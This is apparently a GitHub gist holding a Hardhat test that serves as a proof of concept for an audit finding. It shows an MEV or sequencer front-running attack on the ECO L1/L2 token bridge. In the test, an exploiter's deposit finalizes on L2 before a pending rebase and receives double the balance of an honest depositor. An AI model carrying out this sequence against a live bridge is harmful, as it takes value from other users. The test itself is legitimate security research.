Skip to content

Instantly share code, notes, and snippets.

@bzpassersby
Created May 25, 2023 14:27
Show Gist options
  • Save bzpassersby/4e931c537750f9416de1b1d395d2c4d9 to your computer and use it in GitHub Desktop.
Save bzpassersby/4e931c537750f9416de1b1d395d2c4d9 to your computer and use it in GitHub Desktop.
L1 MEV attack or L2 sequencer front running
/* eslint-disable camelcase */
import { ethers } from 'hardhat'
import { Signer, Contract, constants, BigNumber } from 'ethers'
import { smock, FakeContract, MockContract } from '@defi-wonderland/smock'
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'
import * as L1CrossDomainMessenger from '@eth-optimism/contracts/artifacts/contracts/L1/messaging/L1CrossDomainMessenger.sol/L1CrossDomainMessenger.json'
import * as L2CrossDomainMessenger from '@eth-optimism/contracts/artifacts/contracts/L2/messaging/L2CrossDomainMessenger.sol/L2CrossDomainMessenger.json'
import { expect } from 'chai'
import {
REGISTRY_DEPLOY_TX,
REGISTRY_DEPLOYER_ADDRESS,
NON_NULL_BYTES32,
} from './utils/constants'
import { getContractInterface } from './utils/contracts'
import { L2ECO, L2ECOBridge } from '../typechain-types'
const DUMMY_L1_ERC20_ADDRESS = '0xACDCacDcACdCaCDcacdcacdCaCdcACdCAcDcaCdc'
const DUMMY_PROXY_ADMIN_ADDRESS = '0x1234512345123451234512345123451234512345'
const INITIAL_INFLATION_MULTIPLIER = BigNumber.from('1000000000000000000')
// 2e18
const INITIAL_TOTAL_L1_SUPPLY = BigNumber.from('2000000000000000000')
const FINALIZATION_GAS = 1_200_000
import { AddressZero } from '@ethersproject/constants'
import { configureNotifierL2RebasePropoSol } from '../typechain-types/contracts/temp_proposals'
describe('L1L2ECOBridge', () => {
let l1MessengerImpersonator: SignerWithAddress
let l2MessengerImpersonator: SignerWithAddress
let alice: SignerWithAddress
let bob: SignerWithAddress
let exploiter: SignerWithAddress
before(async () => {
;[l1MessengerImpersonator, alice, bob, l2MessengerImpersonator, exploiter] =
await ethers.getSigners()
await (
await alice.sendTransaction({
to: REGISTRY_DEPLOYER_ADDRESS,
value: ethers.utils.parseEther('0.08'),
})
).wait()
if (alice.provider) {
await (await alice.provider.sendTransaction(REGISTRY_DEPLOY_TX)).wait()
}
})
let L1ERC20: MockContract<Contract>
let L1ECOBridge: MockContract
let Fake__L1CrossDomainMessenger: FakeContract
let L2ECOBridge: MockContract
let MOCK_L2ECO: MockContract<Contract>
let Fake__L2CrossDomainMessenger: FakeContract
beforeEach(async () => {
// Get a new mock L1 messenger
Fake__L1CrossDomainMessenger = await smock.fake<Contract>(
L1CrossDomainMessenger.abi,
{ address: await l1MessengerImpersonator.getAddress() } // This allows us to use an ethers override {from: Mock__L2CrossDomainMessenger.address} to mock calls
)
// Get a new mock L2 messenger
Fake__L2CrossDomainMessenger = await smock.fake<Contract>(
L2CrossDomainMessenger.abi,
// This allows us to use an ethers override {from: Mock__L2CrossDomainMessenger.address} to mock calls
{ address: await l2MessengerImpersonator.getAddress() }
)
// Deploy an L1 ERC20
L1ERC20 = await (
await smock.mock(
'@helix-foundation/currency/contracts/currency/ECO.sol:ECO'
)
).deploy(
DUMMY_L1_ERC20_ADDRESS,
alice.address,
ethers.utils.parseEther('10000'),
alice.address
)
//Set Alice Token balance
await L1ERC20.setVariable('_balances', {
[alice.address]: INITIAL_TOTAL_L1_SUPPLY.mul(
INITIAL_INFLATION_MULTIPLIER
),
})
await L1ERC20.setVariable('checkpoints', {
[alice.address]: [
{
fromBlock: 0,
value: INITIAL_TOTAL_L1_SUPPLY.mul(INITIAL_INFLATION_MULTIPLIER),
},
],
})
//Set exploiter Token balance
await L1ERC20.setVariable('_balances', {
[exploiter.address]: INITIAL_TOTAL_L1_SUPPLY.mul(
INITIAL_INFLATION_MULTIPLIER
),
})
await L1ERC20.setVariable('checkpoints', {
[exploiter.address]: [
{
fromBlock: 1,
value: INITIAL_TOTAL_L1_SUPPLY.mul(INITIAL_INFLATION_MULTIPLIER),
},
],
})
// Deploy an L2 ERC20
MOCK_L2ECO = await (await smock.mock('L2ECO')).deploy()
// Deploy L1 & L2 bridges
L1ECOBridge = await (await smock.mock('L1ECOBridge')).deploy()
L2ECOBridge = await (await smock.mock('L2ECOBridge')).deploy()
await L1ECOBridge.setVariable('_initializing', false)
await L2ECOBridge.setVariable('_initializing', false)
// Initialize L1 bridge
await L1ECOBridge.connect(alice).initialize(
Fake__L1CrossDomainMessenger.address,
L2ECOBridge.address,
L1ERC20.address,
MOCK_L2ECO.address,
DUMMY_PROXY_ADMIN_ADDRESS,
alice.address
)
// Initialize L2 bridge
await L2ECOBridge.initialize(
Fake__L2CrossDomainMessenger.address,
L1ECOBridge.address,
L1ERC20.address,
MOCK_L2ECO.address,
AddressZero
)
// Initialize MOCK_L2ECO
await MOCK_L2ECO.setVariable('_initializing', false)
await MOCK_L2ECO.initialize(L1ERC20.address, L2ECOBridge.address)
// set rebase on MOCK_L2ECO the same as L1ERC20
await MOCK_L2ECO.setVariable(
'linearInflationMultiplier',
INITIAL_INFLATION_MULTIPLIER
)
})
describe('inflationMultiplier updates MEV attack', () => {
// .5e18
const depositAmount = INITIAL_TOTAL_L1_SUPPLY.div(4)
beforeEach(async () => {
// Test preparation: approve for both Alice and exploiter
await L1ERC20.connect(alice).approve(L1ECOBridge.address, depositAmount)
await L1ERC20.connect(exploiter).approve(
L1ECOBridge.address,
depositAmount
)
})
it.only('inflationMultiplier increases and L2ECO mints before L2Rebase', async () => {
// Check initial inflation multiplier equals 1e18
expect(await L1ECOBridge.inflationMultiplier()).to.eq(
INITIAL_INFLATION_MULTIPLIER
)
console.log('initialInflationMultiplier', INITIAL_INFLATION_MULTIPLIER)
// log: initialInflationMultiplier 1000000000000000000
////1. L1 inflationMultiplier increase to 2e18 and L2Rebase initiated from L1
////
const newInflationMultiplier = INITIAL_INFLATION_MULTIPLIER.mul(2)
if (alice.provider) {
await L1ERC20.setVariable('_linearInflationCheckpoints', [
{
fromBlock: (await alice.provider.getBlock('latest')).number,
value: newInflationMultiplier,
},
])
}
await L1ECOBridge.connect(alice).rebase(FINALIZATION_GAS)
expect(await L1ECOBridge.inflationMultiplier()).to.eq(
newInflationMultiplier.toString()
)
expect(
Fake__L1CrossDomainMessenger.sendMessage.getCall(0).args
).to.deep.equal([
L2ECOBridge.address,
(await getContractInterface('L2ECOBridge')).encodeFunctionData(
'rebase',
[newInflationMultiplier]
),
FINALIZATION_GAS,
])
////2. Exploiter seeks exploit higher token balances on L2 prior to L2Rebase: deposit 0.5e18 L1ERC20 to L1ECOBridge
//// Exploiter will need to make sure L1 depositERC20to transaction and L2 finalizeDeposit transaction are mined before L2Rebase
await L1ECOBridge.connect(exploiter).depositERC20To(
L1ERC20.address,
MOCK_L2ECO.address,
exploiter.address,
depositAmount,
FINALIZATION_GAS,
NON_NULL_BYTES32
)
expect(
Fake__L1CrossDomainMessenger.sendMessage.getCall(1).args
).to.deep.equal([
L2ECOBridge.address,
(await getContractInterface('IL2ECOBridge')).encodeFunctionData(
'finalizeDeposit',
[
L1ERC20.address,
MOCK_L2ECO.address,
exploiter.address,
exploiter.address,
depositAmount.mul(newInflationMultiplier),
NON_NULL_BYTES32,
]
),
FINALIZATION_GAS,
])
expect(await L1ERC20.balanceOf(exploiter.address)).to.equal(
'500000000000000000'
)
expect(await L1ERC20.balanceOf(L1ECOBridge.address)).to.equal(
'500000000000000000'
)
////3. Alice also deposits 0.5e18 L1ERC20 to L1ECOBridge.
////
await L1ECOBridge.connect(alice).depositERC20To(
L1ERC20.address,
MOCK_L2ECO.address,
alice.address,
depositAmount,
FINALIZATION_GAS,
NON_NULL_BYTES32
)
expect(
Fake__L1CrossDomainMessenger.sendMessage.getCall(2).args
).to.deep.equal([
L2ECOBridge.address,
(await getContractInterface('IL2ECOBridge')).encodeFunctionData(
'finalizeDeposit',
[
L1ERC20.address,
MOCK_L2ECO.address,
alice.address,
alice.address,
depositAmount.mul(newInflationMultiplier),
NON_NULL_BYTES32,
]
),
FINALIZATION_GAS,
])
expect(await L1ERC20.balanceOf(exploiter.address)).to.equal(
'500000000000000000'
)
expect(await L1ERC20.balanceOf(L1ECOBridge.address)).to.equal(
'1000000000000000000'
)
////4. Exploiter ensures their finalizeDeposit transaction is mined before L2Rebase
////
Fake__L2CrossDomainMessenger.xDomainMessageSender.returns(
L1ECOBridge.address
)
await expect(
L2ECOBridge.connect(l2MessengerImpersonator).finalizeDeposit(
L1ERC20.address,
MOCK_L2ECO.address,
exploiter.address,
exploiter.address,
depositAmount.mul(INITIAL_INFLATION_MULTIPLIER),
NON_NULL_BYTES32,
{
from: Fake__L2CrossDomainMessenger.address,
}
)
)
.to.emit(L2ECOBridge, 'DepositFinalized')
.withArgs(
L1ERC20.address,
MOCK_L2ECO.address,
exploiter.address,
exploiter.address,
depositAmount
.mul(INITIAL_INFLATION_MULTIPLIER)
.div(INITIAL_INFLATION_MULTIPLIER),
NON_NULL_BYTES32
)
let bal = await MOCK_L2ECO.balanceOf(exploiter.address)
expect(bal.toString()).to.equal('500000000000000000')
console.log('exploiter balance', bal.toString()) ////exploiter balance:500000000000000000 which is twice Alice's balance whose transaction settled after L2Rebase
////
////5. Exploiter trades their L2ECO tokens for stable coins on L2 AMMs, realizing a value before L2Rebase!
//// (Code for interacting with external AMM not included in this test...)
////6. Exploiter finally settled L2Rebase Transaction onChain
////
Fake__L2CrossDomainMessenger.xDomainMessageSender.returns(
L1ECOBridge.address
)
await expect(
L2ECOBridge.connect(l2MessengerImpersonator).rebase(
newInflationMultiplier
)
)
.to.emit(L2ECOBridge, 'RebaseInitiated')
.withArgs(newInflationMultiplier)
console.log(
'newInflationMultiplier',
(await L2ECOBridge.inflationMultiplier()).toString()
) // log: newInflationMultiplier 2000000000000000000
expect(await MOCK_L2ECO.linearInflationMultiplier()).to.equal(
newInflationMultiplier
)
////7. Alice's finalizeDeposit is included after exploiter's finalizedDeposit and after L2Rebase
////
await expect(
L2ECOBridge.connect(l2MessengerImpersonator).finalizeDeposit(
L1ERC20.address,
MOCK_L2ECO.address,
alice.address,
alice.address,
depositAmount.mul(INITIAL_INFLATION_MULTIPLIER),
NON_NULL_BYTES32,
{
from: Fake__L2CrossDomainMessenger.address,
}
)
)
.to.emit(L2ECOBridge, 'DepositFinalized')
.withArgs(
L1ERC20.address,
MOCK_L2ECO.address,
alice.address,
alice.address,
depositAmount
.mul(INITIAL_INFLATION_MULTIPLIER)
.div(newInflationMultiplier),
NON_NULL_BYTES32
)
bal = await MOCK_L2ECO.balanceOf(alice.address)
expect(bal.toString()).to.equal('250000000000000000')
console.log('alice balance', bal.toString())
////Alice balance:250000000000000000 which is half of the exploiter's balance prior to L2Rebase.
////Alice then trades her L2ECO tokens for stable coins on L2 AMMs, realzing only half of the value of the exploiter's trade!
})
})
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment